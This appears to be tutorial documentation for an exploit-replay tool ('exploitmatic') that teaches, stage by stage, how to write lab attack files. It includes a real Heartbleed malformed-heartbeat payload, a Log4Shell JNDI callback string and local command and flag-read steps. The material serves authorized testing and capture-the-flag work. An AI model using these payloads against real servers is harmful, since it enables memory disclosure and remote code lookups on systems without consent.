Authoring solutions
A path from your very first solution file to expert-level chains. Work through the stages in order.
This guide takes you from your very first solution file to expert-level chains. Work through the stages in order: each one builds on the last, and each ends with a checkpoint so you know you are ready to move on. If you already know a stage, skim it and jump ahead.
Every solution has the same shape: a few lines about the attack at the top, then the steps. Each step starts with its identity and a name, then English directive lines, and ends with an expect, the pass or fail test. The rest of a step depends on the protocol.
Stage 1: your very first file
What you learn: the shape of a solution file, how to run one, and how to read the result.
The smallest useful solution is a single HTTP step. Here is the whole file:
id: web/reflection-probe
param: template
http reflect
get with "REFLECTED_7x7"
# send a unique marker in the template param and confirm it comes back
expect "REFLECTED_7x7" in the response
Read it top to bottom:
idnames the attack.paramnames the input parameter,templatehere.- The block after it is one step.
httpis the protocol,reflectis the step name. It sendsREFLECTED_7x7in thetemplateparameter of a GET request. expectis the pass or fail test: the step passes only if the response containsREFLECTED_7x7.
Save it as solution.txt and run it against a target:
exploitmatic solution.txt http://example.com/render
The runtime prints one line per step and a result. When the value comes back, the result is verified; when it does not, the result is not verified. A bad file or a connection problem stops the run with an error message instead.
Checkpoint: you can write a one-step HTTP solution, run it, and read the result.
Stage 2: get the payload to the right place
What you learn: the ways an HTTP step can carry a value, and how to match a response that varies.
A step is English sentences and the program does the heavy lifting: get "/login" gets a page, post "/api" as json with {"x":1} posts one, and expect "marker" in the response checks the answer. The http identity moves the value by the form of the directive:
| directive | the request it makes |
|---|---|
get "<path>" | GET the path, no parameter |
get with "<value>" | GET target?param=value |
get "<path>" with "<value>" | GET the path with the value in the query parameter |
post "<path>" as a form field <name> with "<value>" | POST, form-encoded |
post "<path>" as json with "<value>" | POST, JSON body |
post "<path>" as a raw json with "<value>" | POST, the body IS the value |
post "<path>" as a raw form with "<value>" | POST, the body IS the value, sent as a form |
Use get "<path>" to add to the target URL and with the header "<name>" set to <value> to add request headers.
When the response varies a little, use a pattern instead of exact text. The regex test matches a pattern; this one accepts either heartbeat record version:
expect the response to match "18030[123]40"
The expect a flag test is a shortcut: it passes when the response contains a flag-shaped string such as FLAG{...}.
Checkpoint: you can choose the right directive for a web target and the right test for the reply.
Stage 3: reach the flag
What you learn: reading a file on your own machine, the finish line of a capture-the-flag lab.
id: host/read-flag
file read-flag
read "{flag_path}"
expect a flag
{flag_path} is filled in from the --flag-path flag. This step reads a file on your own machine:
exploitmatic solution.txt example.com --flag-path flag.txt
The expect a flag test passes when the file content looks like FLAG{...}.
Checkpoint: you can probe a lab, then read the flag it writes.
Stage 4: two steps, one conversation
What you learn: how steps run in order, and when a connection stays open between them.
For tcp, tls, and websocket steps the connection stays open across steps. This matters for attacks that need a handshake first: stage the handshake in one step, send the exploit in the next, on the same connection. For http steps each step is its own request.
Heartbleed is the classic case. Step 1 opens a TLS connection and proves the server finishes its hello. Step 2 sends the malformed heartbeat and looks for the leak:
id: tls/heartbeat-probe
tls clienthello
# advertise the heartbeat extension and wait for ServerHelloDone
send hex "1603030125010001210303..."
receive until "0e000000"
receive 65536 bytes
timeout 5 seconds
expect "0e000000" in the response
tls malformed-heartbeat
# send a heartbeat request claiming a payload length with zero payload bytes
send hex "1803030003014000"
receive 70000 bytes
timeout 5 seconds
expect the response to match "18030[123]40"
send hex "<hex>"is the bytes to send, written as hex (orsend hex of "HELO x\r\n"hex-encodes readable text)receive <n> bytesis the most bytes to readreceive until "<hex>"stops the read once a marker appears, here the ServerHelloDone messagetimeout <n> secondsis how long to waitclose the connectionwould end the session after the step
The target for a tls solution is host:port:
exploitmatic solution.txt example.com:8443
Checkpoint: you can replay a real protocol exploit that needs a session.
Stage 5: values that change
What you learn: reusing values across steps, and following values the server assigns.
Sometimes a later step needs a value that is not known until the run: a session port, a token. Two tools handle this.
Declare your own values at the top with vars, and change them mid-flow with set on a step:
id: demo/probe
vars:
marker: ONE
http first
get with "{marker}"
set:
token: TWO
expect "ONE" in the response
http second
get with "{token}"
expect "TWO" in the response
Step 1 sends {marker} (which is ONE) and declares {token} as TWO. Step 2 sends {token} (which is now TWO).
When the value comes from the target, capture pulls it out of the response. This example follows a server-assigned port:
tcp negotiate
send hex "010203..."
capture the value after "6f703a6f747270633a" as port_id
expect "..." in the response
tcp use-port
send hex of "otrpc:{port_id}:..."
The value after shape captures the run of hex after a hex marker and hex-decodes it. Later steps reference {port_id} and the runtime fills it in. See Variables for the rules.
Some servers hand over a value base64-encoded, and the value you need is inside it. The shape form reads as English and the program knows the page shapes: from runs the capture over an earlier variable, base64 decodes the source first, and the shape names the thing (an HTML form field, an XML or HTML attribute, a JSON json field):
http sso
get "/"
capture the form field "SAMLRequest" as saml_b64
capture the attribute "ID" of saml_b64 base64 as reqid
The first line stores the base64 SAMLRequest from the form; the second decodes it and stores the request id in reqid. To send a value back encoded, write the value as base64 of "text"; the runtime base64-encodes it after {var} substitution, the shape a SAML response expects.
For a WebSocket step, the send is treated as text and wrapped into a proper frame automatically, so you do not hand-compute frame lengths:
websocket ws-rpc
send "{\"jsonrpc\":\"2.0\",\"id\":{port}}"
Checkpoint: you can build a conversation that adapts to values it learns along the way.
Stage 6: make the target phone home
What you learn: out-of-band callbacks and running commands on your own machine.
Some attacks make the target connect back to us. The Log4Shell pattern declares a listener at the top, then checks a callback arrived:
id: log4j/jndi-probe
oob:
host: 127.0.0.1
http jndi-lookup
get with "${jndi:ldap://{oob_host}:{oob_port}/hit}"
# trigger a JNDI lookup back to the listener
expect the target to call back "300c0201016007"
{oob_host} and {oob_port} are filled in automatically. A port of 0 picks a free one. The expect the target to call back test passes when a callback arrives. The marker here is the LDAP bind prefix: the JNDI lookup connects and sends an anonymous bind, and the listener records the raw bytes, so that prefix is what actually arrives. When the target runs in a container, give the listener a routable address (-oob-host), because 127.0.0.1 inside the container is the container’s own loopback.
The process identity runs a command on your own machine and checks its output, like file:
id: host/whoami
process whoami
run "id"
expect the response to match "uid="
The file identity works the same way: read "<path>" or write "<path>" with "<data>".
Checkpoint: you can build solutions that reach out of band and into the host.
Stage 7: expert habits
What you learn: combining everything, keeping solutions deterministic, and debugging when they fail.
A real solution mixes the stages. One attack can start with a WebSocket upgrade, follow a server-assigned port, send a JSON-RPC call, and finish with a flag read on the host. Build it one stage at a time, and test each stage against a replica before moving on.
Keep solutions deterministic: fixed bytes, fixed paths, no randomness. The same file against the same target must give the same result, so a run can be repeated and compared any time.
When a run fails, the console points at the problem. Common causes:
| symptom | cause |
|---|---|
| unknown identity | the identity is not one the runtime implements |
| missing directive | a required directive is missing, for example a get or post on an http step |
| not valid hex | send hex or receive until on a tcp/tls step is not hex |
| test failed | the test ran and failed, the attack did not work on this target |
The console report shows what every step sent and received, with the test that ran. It stores no result, so the result always comes from the tests.
Checkpoint: you can write, run, and debug a multi-stage solution on your own.
Rules of thumb
- Steps run in order, and the
tcp,tls, andwebsocketconnection stays open between them. - A step without a test is recorded but never fails.
- Keep steps deterministic: fixed bytes, fixed paths, no randomness.
- A solution is data only. The runtime never executes anything from it.
- Refine against a local replica first, then verify against an authorized target.
See the overview for the protocol list and the Steps page for the step form in detail.